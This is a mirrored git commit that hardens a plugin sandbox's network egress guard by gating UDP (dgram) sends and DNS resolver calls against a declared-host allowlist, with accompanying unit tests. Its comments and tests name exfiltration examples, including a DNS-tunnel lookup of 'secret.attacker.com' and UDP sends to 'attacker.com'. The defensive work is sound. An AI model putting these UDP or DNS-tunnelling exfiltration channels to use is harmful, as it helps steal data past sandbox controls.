mirror of
https://github.com/mauriceboe/TREK.git
synced 2026-10-18 21:16:47 +00:00
fix(plugins): close the UDP + DNS egress hole in the network guard
The egress guard only wrapped fetch and net.Socket.connect, so TCP and HTTP were contained but two channels stayed wide open: a plugin could send data out over UDP (node:dgram) or tunnel it inside DNS queries (dns.resolveTxt & friends) to any host it never declared. Neither goes through net.Socket.connect, so the allowlist never saw them. Wrap both now against the same declared-host allowlist: - dgram send/connect: the explicit destination is allowlisted and private-IP-checked like a TCP connect (a null address keeps the connected/localhost default, which the connect wrapper already vetted). - the dns resolver family (module fns, dns.promises, Resolver.prototype): a forward lookup for an undeclared name is refused, which kills DNS tunnelling even when no socket is ever opened. A plugin with no declared egress now really has no way out.
This commit is contained in:
@@ -51,6 +51,28 @@ export interface ConnectTarget {
|
||||
host: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Destination host of a `dgram.Socket.send(msg[, offset, length], port[, address][, cb])`
|
||||
* call, or null when no explicit address is given (Node then uses the socket's
|
||||
* connected remote or the localhost default — the connect() wrapper already
|
||||
* vetted that, and a localhost default is not an exfil vector). Only an explicit
|
||||
* address string is a target we must allowlist. Mirrors both send() overloads:
|
||||
* the (offset, length) form pushes port/address two slots right.
|
||||
*/
|
||||
export function dgramSendTarget(args: unknown[]): string | null {
|
||||
const offsetForm = typeof args[1] === 'number' && typeof args[2] === 'number';
|
||||
const address = args[offsetForm ? 4 : 2];
|
||||
return typeof address === 'string' ? address : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Destination host of a `dgram.Socket.connect(port[, address][, cb])` call, or
|
||||
* null when no address is given (localhost default — not an exfil vector).
|
||||
*/
|
||||
export function dgramConnectTarget(args: unknown[]): string | null {
|
||||
return typeof args[1] === 'string' ? (args[1] as string) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Classify a `net.Socket.connect(...)` argument list into what we must check:
|
||||
* a unix-socket/pipe (local, allowed), a literal IP (checked synchronously), or
|
||||
|
||||
@@ -13,9 +13,10 @@
|
||||
import path from 'node:path';
|
||||
import net from 'node:net';
|
||||
import dns from 'node:dns';
|
||||
import dgram from 'node:dgram';
|
||||
import { createRequire } from 'node:module';
|
||||
import { createPluginContext, type ChildTransport, type PluginContext, type PluginDefinition } from './plugin-sdk';
|
||||
import { isBlockedIp, makeHostAllow, classifyConnect } from './egress-policy';
|
||||
import { isBlockedIp, makeHostAllow, classifyConnect, dgramSendTarget, dgramConnectTarget } from './egress-policy';
|
||||
import type { Envelope, RpcError } from '../protocol/envelope';
|
||||
|
||||
const pluginId = process.argv[2] || process.env.TREK_PLUGIN_ID || 'unknown';
|
||||
@@ -147,7 +148,7 @@ process.on('message', (raw: unknown) => {
|
||||
* declared egress, ALL outbound is blocked. Wildcards like `*.host` match any
|
||||
* subdomain.
|
||||
*
|
||||
* Two layers, so a plugin can't just sidestep `fetch` with a raw socket:
|
||||
* Four channels are covered, so a plugin can't sidestep one with another:
|
||||
* 1. `globalThis.fetch` is wrapped (early hostname reject).
|
||||
* 2. `net.Socket.prototype.connect` is wrapped — the single TCP choke point that
|
||||
* node:http / node:https / node:net / node:tls AND undici/fetch all funnel
|
||||
@@ -155,6 +156,13 @@ process.on('message', (raw: unknown) => {
|
||||
* private/loopback/link-local/metadata/CGNAT/ULA address (SSRF + DNS-rebinding
|
||||
* backstop), pinning the resolved IP into the connect so the name can't flip
|
||||
* to an internal address between check and connect.
|
||||
* 3. `dgram.Socket` send/connect (UDP) — TCP-only wrappers would leave UDP open
|
||||
* as a data-exfiltration channel; the explicit destination is allowlisted +
|
||||
* private-IP-checked like a TCP connect.
|
||||
* 4. The `dns` resolver family (module fns, `dns.promises`, `Resolver.prototype`)
|
||||
* — a plugin could otherwise tunnel data out inside DNS queries to a name it
|
||||
* never declared (dns.resolveTxt('secret.attacker.com')); every forward lookup
|
||||
* is rejected unless the queried name is a declared host.
|
||||
*
|
||||
* Under the OS permission model the child also cannot spawn a fresh process or
|
||||
* load a native addon to escape these wrappers. A kernel/network-namespace
|
||||
@@ -181,6 +189,10 @@ function installEgressGuard(egress: string[]): void {
|
||||
}) as typeof fetch;
|
||||
}
|
||||
|
||||
// Capture the real resolvers before we patch the dns module below, so the
|
||||
// connect guard keeps resolving even though direct dns.* calls get gated.
|
||||
const realLookup = dns.lookup.bind(dns);
|
||||
|
||||
// A DNS lookup that refuses to resolve a name to a blocked address; injected
|
||||
// into every hostname connect so the socket only ever reaches a vetted IP.
|
||||
const guardedLookup = (
|
||||
@@ -190,7 +202,7 @@ function installEgressGuard(egress: string[]): void {
|
||||
): void => {
|
||||
const opts = typeof options === 'function' ? {} : options;
|
||||
if (typeof options === 'function') cb = options as typeof cb;
|
||||
dns.lookup(hostname, opts as dns.LookupOptions, (err, address, family) => {
|
||||
realLookup(hostname, opts as dns.LookupOptions, (err, address, family) => {
|
||||
if (err) return cb(err, address as unknown, family);
|
||||
const list = Array.isArray(address) ? address : [{ address: address as string }];
|
||||
for (const a of list) {
|
||||
@@ -224,6 +236,62 @@ function installEgressGuard(egress: string[]): void {
|
||||
const rest = first && typeof first === 'object' ? args.slice(1) : args.slice(typeof args[1] === 'string' ? 2 : 1);
|
||||
return realConnect.call(this, options, ...rest);
|
||||
};
|
||||
|
||||
// Refuse an outbound UDP target the plugin never declared, or a private one.
|
||||
// A null target means "no explicit address" (connected remote / localhost
|
||||
// default) — the connect wrapper below already vetted connected sockets.
|
||||
const guardDatagram = (host: string | null): void => {
|
||||
if (host === null) return;
|
||||
if (!allowed(host)) throw new Error(`egress: ${host} is not in the plugin's declared hosts`);
|
||||
if (blockPrivate && net.isIP(host) !== 0 && isBlockedIp(host)) {
|
||||
throw new Error(`egress: ${host} is a blocked address`);
|
||||
}
|
||||
};
|
||||
const dgramProto = dgram.Socket.prototype as unknown as {
|
||||
send: (...a: unknown[]) => unknown;
|
||||
connect: (...a: unknown[]) => unknown;
|
||||
};
|
||||
const realSend = dgramProto.send;
|
||||
dgramProto.send = function (this: unknown, ...args: unknown[]): unknown {
|
||||
guardDatagram(dgramSendTarget(args));
|
||||
return realSend.apply(this, args);
|
||||
};
|
||||
const realDgramConnect = dgramProto.connect;
|
||||
dgramProto.connect = function (this: unknown, ...args: unknown[]): unknown {
|
||||
guardDatagram(dgramConnectTarget(args));
|
||||
return realDgramConnect.apply(this, args);
|
||||
};
|
||||
|
||||
// Gate the dns resolver family: a forward lookup for an undeclared name is a
|
||||
// DNS-tunnel exfiltration channel even when no socket is ever opened. The name
|
||||
// itself must be a declared host. Covers the callback module fns, the promise
|
||||
// API, and per-Resolver instances (which share Resolver.prototype).
|
||||
const DNS_METHODS = [
|
||||
'lookup', 'resolve', 'resolve4', 'resolve6', 'resolveAny', 'resolveCaa', 'resolveCname',
|
||||
'resolveMx', 'resolveNaptr', 'resolveNs', 'resolvePtr', 'resolveSoa', 'resolveSrv', 'resolveTxt',
|
||||
];
|
||||
const gateDnsMethods = (obj: Record<string, unknown> | undefined): void => {
|
||||
if (!obj) return;
|
||||
for (const name of DNS_METHODS) {
|
||||
const real = obj[name];
|
||||
if (typeof real !== 'function') continue;
|
||||
obj[name] = function (this: unknown, hostname: unknown, ...rest: unknown[]): unknown {
|
||||
if (typeof hostname === 'string' && !allowed(hostname)) {
|
||||
const err = new Error(`egress: DNS lookup for ${hostname} is not in the plugin's declared hosts`);
|
||||
const cb = rest.find((a) => typeof a === 'function') as ((e: Error) => void) | undefined;
|
||||
if (cb) return cb(err); // callback API
|
||||
return Promise.reject(err); // promise API (dns.promises / Resolver)
|
||||
}
|
||||
return (real as (...a: unknown[]) => unknown).call(this, hostname, ...rest);
|
||||
};
|
||||
}
|
||||
};
|
||||
gateDnsMethods(dns as unknown as Record<string, unknown>);
|
||||
gateDnsMethods(dns.promises as unknown as Record<string, unknown>);
|
||||
const resolverProto = (dns as unknown as { Resolver?: { prototype: Record<string, unknown> } }).Resolver?.prototype;
|
||||
gateDnsMethods(resolverProto);
|
||||
const promisesResolverProto = (dns.promises as unknown as { Resolver?: { prototype: Record<string, unknown> } })?.Resolver?.prototype;
|
||||
gateDnsMethods(promisesResolverProto);
|
||||
}
|
||||
|
||||
// Ask the host for the init payload (instance config), then wait for it.
|
||||
|
||||
@@ -5,7 +5,9 @@
|
||||
*/
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import net from 'node:net';
|
||||
import { isBlockedIp, makeHostAllow, classifyConnect } from '../../../src/nest/plugins/runtime/egress-policy';
|
||||
import {
|
||||
isBlockedIp, makeHostAllow, classifyConnect, dgramSendTarget, dgramConnectTarget,
|
||||
} from '../../../src/nest/plugins/runtime/egress-policy';
|
||||
|
||||
const isIP = (s: string) => net.isIP(s) !== 0;
|
||||
|
||||
@@ -69,3 +71,31 @@ describe('classifyConnect', () => {
|
||||
expect(classifyConnect([8080], isIP)).toEqual({ kind: 'hostname', host: 'localhost' });
|
||||
});
|
||||
});
|
||||
|
||||
describe('dgramSendTarget', () => {
|
||||
const msg = Buffer.from('x');
|
||||
it('reads the address from send(msg, port, address)', () => {
|
||||
expect(dgramSendTarget([msg, 53, 'attacker.com'])).toBe('attacker.com');
|
||||
});
|
||||
it('reads the address from the send(msg, offset, length, port, address) form', () => {
|
||||
expect(dgramSendTarget([msg, 0, 1, 53, 'attacker.com'])).toBe('attacker.com');
|
||||
});
|
||||
it('is null when no explicit address is given (connected / localhost default)', () => {
|
||||
expect(dgramSendTarget([msg, 53])).toBeNull();
|
||||
expect(dgramSendTarget([msg])).toBeNull();
|
||||
expect(dgramSendTarget([msg, 0, 1, 53])).toBeNull();
|
||||
});
|
||||
it('ignores a trailing callback in the address slot', () => {
|
||||
expect(dgramSendTarget([msg, 53, () => {}])).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('dgramConnectTarget', () => {
|
||||
it('reads the address from connect(port, address)', () => {
|
||||
expect(dgramConnectTarget([53, 'attacker.com'])).toBe('attacker.com');
|
||||
});
|
||||
it('is null for connect(port) or connect(port, cb)', () => {
|
||||
expect(dgramConnectTarget([53])).toBeNull();
|
||||
expect(dgramConnectTarget([53, () => {}])).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user